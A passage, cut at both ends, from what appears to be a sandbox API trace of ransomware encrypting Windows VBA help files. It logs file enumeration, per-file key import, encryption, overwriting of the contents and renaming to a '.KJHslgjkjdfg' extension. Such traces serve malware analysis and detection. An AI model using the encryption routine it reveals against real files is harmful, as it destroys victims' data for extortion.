pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.676] GetProcessHeap () returned 0x990000 [0179.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.676] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0179.676] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.676] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0179.676] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0179.676] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0179.677] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0179.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0179.677] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0179.677] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.677] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.677] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1195f, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x1195f, lpOverlapped=0x0) returned 1 [0179.679] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x11960, dwBufLen=0x11960 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x11960) returned 1 [0179.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.680] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x11960, lpOverlapped=0x0) returned 1 [0179.680] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.680] SetEndOfFile (hFile=0xf0) returned 1 [0179.684] GetProcessHeap () returned 0x990000 [0179.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.684] GetProcessHeap () returned 0x990000 [0179.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.kjhslgjkjdfg")) returned 1 [0179.685] CloseHandle (hObject=0xf0) returned 1 [0179.685] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0179.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0179.686] GetProcessHeap () returned 0x990000 [0179.686] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.686] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0179.686] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x6, lpOverlapped=0x0) returned 1 [0179.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.688] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.688] GetProcessHeap () returned 0x990000 [0179.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.689] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0179.689] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.689] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0179.689] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0179.689] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0179.689] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0179.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0179.689] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0179.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.689] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.689] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe2aa, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0xe2aa, lpOverlapped=0x0) returned 1 [0179.704] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xe2b0, dwBufLen=0xe2b0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xe2b0) returned 1 [0179.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.705] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0xe2b0, lpOverlapped=0x0) returned 1 [0179.706] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.706] SetEndOfFile (hFile=0xf0) returned 1 [0179.709] GetProcessHeap () returned 0x990000 [0179.709] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.709] GetProcessHeap () returned 0x990000 [0179.709] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.kjhslgjkjdfg")) returned 1 [0179.710] CloseHandle (hObject=0xf0) returned 1 [0179.710] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0179.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0179.710] GetProcessHeap () returned 0x990000 [0179.711] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.711] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.711] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0179.711] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xe, lpOverlapped=0x0) returned 1 [0179.713] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.713] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.714] GetProcessHeap () returned 0x990000 [0179.714] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.714] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0179.714] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.714] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0179.714] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0179.714] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0179.714] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0179.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0179.714] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0179.714] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.714] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.715] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe6b62, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0xe6b62, lpOverlapped=0x0) returned 1 [0179.732] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xe6b70, dwBufLen=0xe6b70 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xe6b70) returned 1 [0179.743] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.744] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0xe6b70, lpOverlapped=0x0) returned 1 [0179.747] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe6c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.747] SetEndOfFile (hFile=0xf0) returned 1 [0179.751] GetProcessHeap () returned 0x990000 [0179.751] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.751] GetProcessHeap () returned 0x990000 [0179.751] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.kjhslgjkjdfg")) returned 1 [0179.762] CloseHandle (hObject=0xf0) returned 1 [0179.763] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0179.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0179.764] GetProcessHeap () returned 0x990000 [0179.764] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.764] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0179.764] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xc, lpOverlapped=0x0) returned 1 [0179.766] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.766] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.766] GetProcessHeap () returned 0x990000 [0179.766] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.767] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0179.767] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.767] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0179.767] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0179.767] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0179.767] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0179.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0179.767] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0179.767] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.767] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.767] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e434, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x1e434, lpOverlapped=0x0) returned 1 [0179.770] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1e440, dwBufLen=0x1e440 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1e440) returned 1 [0179.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.772] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x1e440, lpOverlapped=0x0) returned 1 [0179.772] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.772] SetEndOfFile (hFile=0xf0) returned 1 [0179.776] GetProcessHeap () returned 0x990000 [0179.776] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0179.776] GetProcessHeap () returned 0x990000 [0179.776] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.kjhslgjkjdfg")) returned 1 [0179.780] CloseHandle (hObject=0xf0) returned 1 [0179.781] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0179.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0179.782] GetProcessHeap () returned 0x990000 [0179.782] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.782] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0179.782] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xa, lpOverlapped=0x0) returned 1 [0179.785] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0179.785] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.785] GetProcessHeap () returned 0x990000 [0179.785] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0179.785] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0179.785] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0179.785] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0179.785] WriteFile (in: hFile=0xf0, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: 